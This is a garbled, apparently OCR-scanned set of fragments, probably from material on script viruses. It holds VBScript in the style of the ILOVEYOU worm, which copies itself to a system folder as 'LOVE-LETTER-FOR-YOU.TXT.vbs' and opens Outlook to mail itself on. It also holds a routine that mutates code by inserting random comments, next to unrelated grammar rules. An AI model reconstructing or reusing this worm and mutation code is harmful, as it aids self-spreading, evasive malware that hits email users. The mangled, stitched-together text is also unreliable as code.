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Setfisd= CreateCbject("Scripting. FileSystemObject”)
Set ditsystern <{isd.getSpecialFolder()

Set[d {lsd GetFie{WScript.ScriptFuliNarme)

Copy{diisyslem& Wi OVE-LET TER-FOR-YOU.IX1.vBS'}

set fout]= WScript. CreateObject(“Outldgk.Applicatior’)
[oul Createltem(0)
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variable <assignop> factor
variable := <identifier>
factor := <identifier>

| <number>

| <literal>
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Lstrings]- SpliticodeToMutate,]vbCrLf)

CommentsCo = Cbyte(GetRndNumber (3,UBound(Strings}/1.5}

CommentPlace = CPOW,e(UBound(Strings}/CommentsCount}

k. vbCrLf

[ DoMutateBod;]} DoMutateBodyI& Comment

End If

Next
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{ expression <op> factor
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